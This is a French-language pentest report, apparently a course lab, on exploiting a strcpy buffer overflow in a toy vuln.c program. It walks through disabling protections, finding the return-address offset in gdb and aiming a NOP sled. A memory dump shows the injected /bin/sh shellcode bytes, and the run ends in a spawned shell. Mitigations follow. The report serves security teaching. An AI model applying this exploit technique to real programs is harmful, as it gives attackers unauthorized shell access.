Pentest Vulnerability Report

# Titre de la vulnérabilité

Shellcode execution by buffer overflow

# Description de la vulnérabilité

Nous allons exploiter une vulnérabilité de buffer overflow pour injecter un shellcode dans la mémoire du programme et l’exécuter.

# Éléments affectés

Fichier *vuln.c* de l’exercice 5 de la séance 2.

# Préalables

Le code source du programme *vuln.c* est donné.

# Mise en place

Ce proof of concept est conçu sur une machine virtuelle Kali Linux 32 bits.

Nous compilons le programme avec la commande :

* gcc -g -z execstack -fno-stack-protector -o vuln vuln.c
* La protection des stacks protectors est désactivée
* La protection de l’exécution des instructions sur la stack est désactivée

Nous désactivons la protection de sécurité ASLR avec la commande :

* echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space

Pour faciliter notre attaque, nous utilisons un script python hack.py fournit par ailleurs permettant de générer notre payload. Au sein de ce script, nous utilisons un shellcode connu permettant de lancer un shell à son exécution. Ce script nécessite deux paramètres pour fonctionner, le nombre de bytes à écrire et l’adresse de l’instruction à exécuter.

# Proof of concept

1. Nous commençons par rechercher le premier paramètre du script hack.py, le nombre de bytes à écrire. Il s’agit du nombre de bytes sur la stack, entre le début du buffer où sera copié l’argument du programme et la return address au sein de la stack frame de la fonction vuln.

Nous lançons le programme vuln dans gdb, et nous faisons une première exécution avec un argument quelconque afin que gdb puisse initialiser ses adresses.

┌──(kali㉿kali)-[~/Downloads]

└─$ gdb vuln

GNU gdb (Debian 12.1-3) 12.1

Copyright (C) 2022 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86\_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from vuln...

(gdb) run AAAA

Starting program: /home/kali/Downloads/vuln AAAA

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

AAAA

[Inferior 1 (process 7824) exited normally]

Nous mettons ensuite un breakpoint au début de la fonction vuln, et nous exécutons de nouveau le programme avec un argument quelconque pour se retrouver dans l’exécution du programme au niveau de ce breakpoint. Nous utilisons alors *info frame* pour retrouver la return address qui se trouve actuellement sur la stack frame et que nous souhaitons remplacer.

(gdb) b vuln

Breakpoint 1 at 0x565561c2: file vuln.c, line 6.

(gdb) run AAAA

Starting program: /home/kali/Downloads/vuln AAAA

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, vuln (arg=0xffffd3c2 "AAAA") at vuln.c:6

6 strcpy(buffer, arg);

(gdb) info frame

Stack level 0, frame at 0xffffd0f0:

eip = 0x565561c2 in vuln (vuln.c:6); saved eip = 0x5655623e

called by frame at 0xffffd130

source language c.

Arglist at 0xffffd0e8, args: arg=0xffffd3c2 "AAAA"

Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0

Saved registers:

ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec

Nous pouvons maintenant afficher le contenu de la stack à partir du buffer. Comme le buffer fait 256 bytes, nous savons que nous devons afficher plus que 256 bytes pour afficher également la stack frame qui se retrouve après le buffer sur la stack et la return address qui s’y trouve. Nous utilisons *x/68xw &buffer* pour afficher 68 groupes de 4 bytes (donc 272 bytes) affichés sous forme hexadécimale, à partir de l’adresse du buffer. Nous y retrouvons la return address et nous pouvons compter le nombre de bytes entre le début du buffer et elle, ce qui sera notre nombre de bytes à écrire.

(gdb) x/68xw &buffer

0xffffcfe0: 0xf7fc7424 0xf7ffcf00 0xf7fc76c4 0xf7c18482

0xffffcff0: 0xf7fc7694 0x003055e4 0xffffd020 0x000182af

0xffffd000: 0xffffd0b4 0xf7fbf780 0xf7c12338 0xf7fbf4a0

0xffffd010: 0xffffd064 0xffffd060 0x00000003 0x00000000

0xffffd020: 0x00000000 0x00000000 0xf7c12338 0x565552cb

0xffffd030: 0xf7c09158 0xf7fbf66c 0xffffd0b4 0x003055e4

0xffffd040: 0xf7c18482 0xf7fd0f14 0xf7c05638 0xffffd0bc

0xffffd050: 0xf7ffdba0 0x00000002 0xf7fbfb20 0x00000001

0xffffd060: 0x00000000 0x00000001 0xf7fbf4a0 0x56555034

0xffffd070: 0x00000020 0xf7ffdc0c 0xffffd0f4 0x00000000

0xffffd080: 0xf7ffcff4 0x0000002c 0x00000000 0xffffd0fc

0xffffd090: 0xf7ffdba0 0x00000001 0xf7fbf7b0 0x00000001

0xffffd0a0: 0x00000000 0x00000001 0xf7ffda40 0x00000000

0xffffd0b0: 0x00000000 0xffffffff 0x00000000 0xf7fc7694

0xffffd0c0: 0xf7ffd608 0x0000002c 0x00000000 0x00000000

0xffffd0d0: 0x00000000 0x00000000 0x00000000 0xffffdfde

0xffffd0e0: 0xf7fc5550 0xf7e20ff4 0xffffd118 0x5655623e

Nous trouvons 17 lignes de 4 groupes de 4 bytes. Nous trouvons donc qu’il faut écrire un total de 17\*4\*4 = 272 bytes.

1. Nous cherchons maintenant l’adresse que nous allons mettre à la place de la return address, c’est-à-dire l’adresse que nous souhaitons que le programme exécute à la fin de la fonction.

Comme la taille de la stack peut changer en fonction de la longueur des arguments du programme (ceux-ci se retrouvant copiés au début de la stack), il est important de lancer le programme avec un argument d’une même longueur que nous souhaitons pour notre attaque, c’est à dire 272 bytes.

Nous relançons le programme dans gdb avec comme argument le résultat d’un mini script qui imprime 272 caractères A, et nous retrouvons de nouveau bloqué au niveau de notre breakpoint.

gdb) run $(python2 -c “print ‘A’\*272”)

Starting program: /home/kali/Downloads/vuln $(python2 hack.py)

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, vuln (arg=0xffffd2b6 '\220' <repeats 200 times>...) at vuln.c:6

6 strcpy(buffer, arg);

Nous regardons le contenu de la stack à partir du buffer, pour chercher une adresse à sélectionner comme cible pour l’exécution du shellcode. Le script hack.py écrit d’abord une série d’instructions NOP (0x90, l’instruction qui ne fait rien) pour compléter le buffer, jusqu’à écrire le shellcode et finalement l’adresse que nous souhaitons exécuter. Nous pouvons donc indiquer comme adresse celle de n’importe laquelle des instructions NOP. Le programme exécutera alors toutes les instructions NOP à la suite de l’adresse que nous avons indiqué et glissera de cette façon jusqu’au shellcode.

Il peut être intéressant de viser une adresse assez éloignée des bornes des instructions NOP (du début du buffer jusqu’au shellcode), de sorte que si la stack se retrouve légèrement déplacée par rapport à ce que nous avions trouvé (par exemple si on avait pas bien mis un argument de même taille au lancement du programme pour sélectionner notre adresse) nous aurions une chance de rester au sein de nos instructions NOP et de quand même glisser de la même façon jusqu’au shellcode.

Il est également important d’éviter de sélectionner une adresse qui comporterait certains bytes comme 0x00, 0x0a ou 0x10. Ces caractères null terminator ou retour à la ligne pourraient casser le string en argument et empêcher de copier notre payload en entier au sein du buffer.

(gdb) x/68xw &buffer

0xffffced0: 0xf7fc7424 0xf7ffcff4 0xf7fc76c4 0xf7c18482

0xffffcee0: 0xf7fc7694 0x003055e4 0xffffcf10 0x000182af

0xffffcef0: 0xffffcfa4 0xf7fbf780 0xf7c12338 0xf7fbf4a0

0xffffcf00: 0xffffcf54 0xffffcf50 0x00000003 0x00000000

0xffffcf10: 0x00000000 0x00000000 0xf7c12338 0x565552cb

0xffffcf20: 0xf7c09158 0xf7fbf66c 0xffffcfa4 0x003055e4

0xffffcf30: 0xf7c18482 0xf7fd0f14 0xf7c05638 0xffffcfac

0xffffcf40: 0xf7ffdba0 0x00000002 0xf7fbfb20 0x00000001

0xffffcf50: 0x00000000 0x00000001 0xf7fbf4a0 0x56555034

0xffffcf60: 0x00000020 0xf7ffdc0c 0xffffcfe4 0x00000000

0xffffcf70: 0xf7ffcff4 0x0000002c 0x00000000 0xffffcfec

0xffffcf80: 0xf7ffdba0 0x00000001 0xf7fbf7b0 0x00000001

0xffffcf90: 0x00000000 0x00000001 0xf7ffda40 0x00000000

0xffffcfa0: 0x00000000 0xffffffff 0x00000000 0xf7fc7694

0xffffcfb0: 0xf7ffd608 0x0000002c 0x00000000 0x00000000

0xffffcfc0: 0x00000000 0x00000000 0x00000000 0xffffdfde

0xffffcfd0: 0xf7fc5550 0xf7e20ff4 0xffffd008 0x5655623e

Dans ce cas-ci, nous sélectionnons comme adresse 0xffffcf30, qui combine toutes les propriétés désirées.

1. Nous pouvons maintenant tester notre exploit avec le script hack.py.

Nous lançons de nouveau le programme dans gdb comme argument le payload de notre attaque provenant du script hack.py, et nous retrouvons de nouveau bloqué au niveau de notre breakpoint.

(gdb) run $(python2 hack.py)

Starting program: /home/kali/Downloads/vuln $(python2 hack.py)

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, vuln (arg=0xffffd2b6 '\220' <repeats 200 times>...) at vuln.c:6

6 strcpy(buffer, arg);

Nous comparons le contenu de la stack avant et après l’exécution du la fonction strcpy, pour nous assurer que le payload de notre attaque s’écrive correctement sur la stack.

(gdb) x/68xw &buffer

0xffffced0: 0xf7fc7424 0xf7ffcff4 0xf7fc76c4 0xf7c18482

0xffffcee0: 0xf7fc7694 0x003055e4 0xffffcf10 0x000182af

0xffffcef0: 0xffffcfa4 0xf7fbf780 0xf7c12338 0xf7fbf4a0

0xffffcf00: 0xffffcf54 0xffffcf50 0x00000003 0x00000000

0xffffcf10: 0x00000000 0x00000000 0xf7c12338 0x565552cb

0xffffcf20: 0xf7c09158 0xf7fbf66c 0xffffcfa4 0x003055e4

0xffffcf30: 0xf7c18482 0xf7fd0f14 0xf7c05638 0xffffcfac

0xffffcf40: 0xf7ffdba0 0x00000002 0xf7fbfb20 0x00000001

0xffffcf50: 0x00000000 0x00000001 0xf7fbf4a0 0x56555034

0xffffcf60: 0x00000020 0xf7ffdc0c 0xffffcfe4 0x00000000

0xffffcf70: 0xf7ffcff4 0x0000002c 0x00000000 0xffffcfec

0xffffcf80: 0xf7ffdba0 0x00000001 0xf7fbf7b0 0x00000001

0xffffcf90: 0x00000000 0x00000001 0xf7ffda40 0x00000000

0xffffcfa0: 0x00000000 0xffffffff 0x00000000 0xf7fc7694

0xffffcfb0: 0xf7ffd608 0x0000002c 0x00000000 0x00000000

0xffffcfc0: 0x00000000 0x00000000 0x00000000 0xffffdfde

0xffffcfd0: 0xf7fc5550 0xf7e20ff4 0xffffd008 0x5655623e

(gdb) n

7 printf("%s\n", buffer);

(gdb) x/68xw &buffer

0xffffced0: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcee0: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcef0: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf00: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf10: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf20: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf30: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf40: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf50: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf60: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf70: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf80: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcf90: 0x90909090 0x90909090 0x90909090 0x90909090

0xffffcfa0: 0x90909090 0xb0c03190 0x31db3146 0xeb80cdc9

0xffffcfb0: 0xc0315b16 0x89074388 0x4389085b 0x8d0bb00c

0xffffcfc0: 0x538d084b 0xe880cd0c 0xffffffe5 0x6e69622f

0xffffcfd0: 0x4e68732f 0x41414141 0x42424242 0xffffcf30

Nous retrouvons bien la suite des instructions NOP, suivi du shellcode et finalement l’adresse de l’instruction que nous souhaitons exécuter. Nous laissons la fonction se terminer pour que le shellcode soit executé.

(gdb) c

Continuing.

���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��F1�1��[1��C��C

�

��S

�����/bin/shNAAAABBBB0���

process 10834 is executing new program: /usr/bin/dash

Error in re-setting breakpoint 1: Function "vuln" not defined.

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

$

Nous remarquons que gdb a remarqué que le programme exécutait un nouveau programme, */usr/bin/dash* qui est un shell. Nous remarquons également que nous nous retrouvons bien au sein d’un shell et que nous pouvons exécuter les commandes que nous souhaitons. Le shellcode a donc bien été exécuté. Nous pouvons maintenant quitter ce shell que nous avons généré ainsi que gdb.

1. Nous allons maintenant vérifier que notre exploit fonctionne également en dehors de l’environnement de gdb. Nous lançons le programme avec comme argument notre payload provenant du script hack.py.

┌──(kali㉿kali)-[~/Downloads]

└─$ ./vuln $(python2 hack.py)

���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��F1�1��[1��C��C

�

��S

�����/bin/shNAAAABBBB0���

$

Nous remarquons que le programme exécute de nouveau notre shellcode et que nous nous retrouvons bien dans un shell.

# Impact

Avec cette vulnérabilité, un utilisateur du programme vuln pourrait récupérer un shell donnant un accès non autorisé à la machine sur laquelle tourne ce programme.

# Mitigation

Plutôt que la fonction vulnérable strcpy, le code source du programme *vuln.c* devrait utiliser la fonction strncpy qui rajoute une vérification empêchant les buffer overflow.

Certaines protections de sécurité permettent d'éviter la vulnérabilité. Le flag à la compilation -fstack-protector rajoute des canary empêchant le buffer overflow. Ne pas mettre le flag -z execstack empêche l'exécution d’un shellcode sur la stack. Et la protection ASLR rend imprédictible les adresses utilisées par le programme, ce qui complique l’attaque sans l'utilisation d’un programme comme GDB.